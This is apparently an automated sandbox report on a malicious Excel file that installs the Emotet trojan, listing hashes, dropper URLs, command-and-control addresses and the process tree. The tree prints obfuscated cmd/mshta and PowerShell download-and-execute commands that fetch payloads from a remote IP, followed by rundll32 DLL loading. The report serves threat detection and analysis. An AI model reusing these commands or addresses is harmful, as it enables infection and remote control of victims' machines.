Analysis

  • max time kernel
    64s
  • max time network
    59s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 00:54

General

  • Target

    2022-1-28-fb202454b31428734975c3ef0dc4d848.xls

  • Size

    46KB

  • MD5

    fb202454b31428734975c3ef0dc4d848

  • SHA1

    2fa82c30e9790de03f2be732e92b20a54e309350

  • SHA256

    9de83d280c44fe05672a1e4acbc801bbfe6f89140f0fd7f6b7af70c10d0a8a50

  • SHA512

    52ae6a4556c9f959c788bb33895d3ed07fa86159030a383310abf814fb118b0caeac92f793ae7d0ef78c8d9c82a30cce42437ec7e83acd9baf37270c76eb26f1

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-fb202454b31428734975c3ef0dc4d848.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:872
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1336
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:556
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1264
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1080
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gfpdtqll\jduxrclbwby.szz",yWrQmtDWFn
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1928
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gfpdtqll\jduxrclbwby.szz",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1880

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\QWER.dll
    MD5

    776938e90c4280a256d803a0ea788f20

    SHA1

    b54dd343c6a3717fe85713d4583c1ddd3a49616e

    SHA256

    4866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1

    SHA512

    758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be

  • \ProgramData\QWER.dll
    MD5

    776938e90c4280a256d803a0ea788f20

    SHA1

    b54dd343c6a3717fe85713d4583c1ddd3a49616e

    SHA256

    4866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1

    SHA512

    758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be

  • \ProgramData\QWER.dll
    MD5

    776938e90c4280a256d803a0ea788f20

    SHA1

    b54dd343c6a3717fe85713d4583c1ddd3a49616e

    SHA256

    4866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1

    SHA512

    758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be

  • \ProgramData\QWER.dll
    MD5

    776938e90c4280a256d803a0ea788f20

    SHA1

    b54dd343c6a3717fe85713d4583c1ddd3a49616e

    SHA256

    4866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1

    SHA512

    758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be

  • \ProgramData\QWER.dll
    MD5

    776938e90c4280a256d803a0ea788f20

    SHA1

    b54dd343c6a3717fe85713d4583c1ddd3a49616e

    SHA256

    4866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1

    SHA512

    758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be

  • \ProgramData\QWER.dll
    MD5

    776938e90c4280a256d803a0ea788f20

    SHA1

    b54dd343c6a3717fe85713d4583c1ddd3a49616e

    SHA256

    4866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1

    SHA512

    758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be

  • \ProgramData\QWER.dll
    MD5

    776938e90c4280a256d803a0ea788f20

    SHA1

    b54dd343c6a3717fe85713d4583c1ddd3a49616e

    SHA256

    4866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1

    SHA512

    758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be

  • \ProgramData\QWER.dll
    MD5

    776938e90c4280a256d803a0ea788f20

    SHA1

    b54dd343c6a3717fe85713d4583c1ddd3a49616e

    SHA256

    4866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1

    SHA512

    758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be

  • \ProgramData\QWER.dll
    MD5

    776938e90c4280a256d803a0ea788f20

    SHA1

    b54dd343c6a3717fe85713d4583c1ddd3a49616e

    SHA256

    4866a5107b9c278dad48c4d075ab6291e8c24a99908ce229c808330571442cd1

    SHA512

    758fa4fd8f19d1409ed460dbbe6ed3c619fa4accc87dd3727b74d22cb79dc149c280cb7ac81370c3066455d9d7c1960d6218e81ae2427092ee48947574da01be

  • memory/1080-76-0x0000000000290000-0x00000000002B5000-memory.dmp
    Filesize

    148KB

  • memory/1080-90-0x0000000002840000-0x0000000002865000-memory.dmp
    Filesize

    148KB

  • memory/1080-86-0x0000000002700000-0x0000000002725000-memory.dmp
    Filesize

    148KB

  • memory/1080-84-0x00000000024B0000-0x00000000024D5000-memory.dmp
    Filesize

    148KB

  • memory/1080-82-0x0000000002450000-0x0000000002475000-memory.dmp
    Filesize

    148KB

  • memory/1080-80-0x0000000000B80000-0x0000000000BA5000-memory.dmp
    Filesize

    148KB

  • memory/1080-78-0x0000000000A60000-0x0000000000A85000-memory.dmp
    Filesize

    148KB

  • memory/1088-55-0x00000000712C1000-0x00000000712C3000-memory.dmp
    Filesize

    8KB

  • memory/1088-57-0x0000000075341000-0x0000000075343000-memory.dmp
    Filesize

    8KB

  • memory/1088-54-0x000000002FA71000-0x000000002FA74000-memory.dmp
    Filesize

    12KB

  • memory/1088-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1264-69-0x0000000000220000-0x0000000000245000-memory.dmp
    Filesize

    148KB

  • memory/1336-61-0x00000000024D1000-0x00000000024D2000-memory.dmp
    Filesize

    4KB

  • memory/1336-60-0x00000000024D0000-0x00000000024D1000-memory.dmp
    Filesize

    4KB

  • memory/1336-62-0x00000000024D2000-0x00000000024D4000-memory.dmp
    Filesize

    8KB

  • memory/1880-94-0x00000000001C0000-0x00000000001E5000-memory.dmp
    Filesize

    148KB

  • memory/1880-100-0x0000000002590000-0x00000000025B5000-memory.dmp
    Filesize

    148KB

  • memory/1880-102-0x00000000025F0000-0x0000000002615000-memory.dmp
    Filesize

    148KB

  • memory/1880-106-0x0000000002820000-0x0000000002845000-memory.dmp
    Filesize

    148KB

  • memory/1880-108-0x0000000002950000-0x0000000002975000-memory.dmp
    Filesize

    148KB

  • memory/1880-110-0x00000000029B0000-0x00000000029D5000-memory.dmp
    Filesize

    148KB

  • memory/1880-112-0x0000000002AC0000-0x0000000002AE5000-memory.dmp
    Filesize

    148KB

  • memory/1928-91-0x0000000000280000-0x00000000002A5000-memory.dmp
    Filesize

    148KB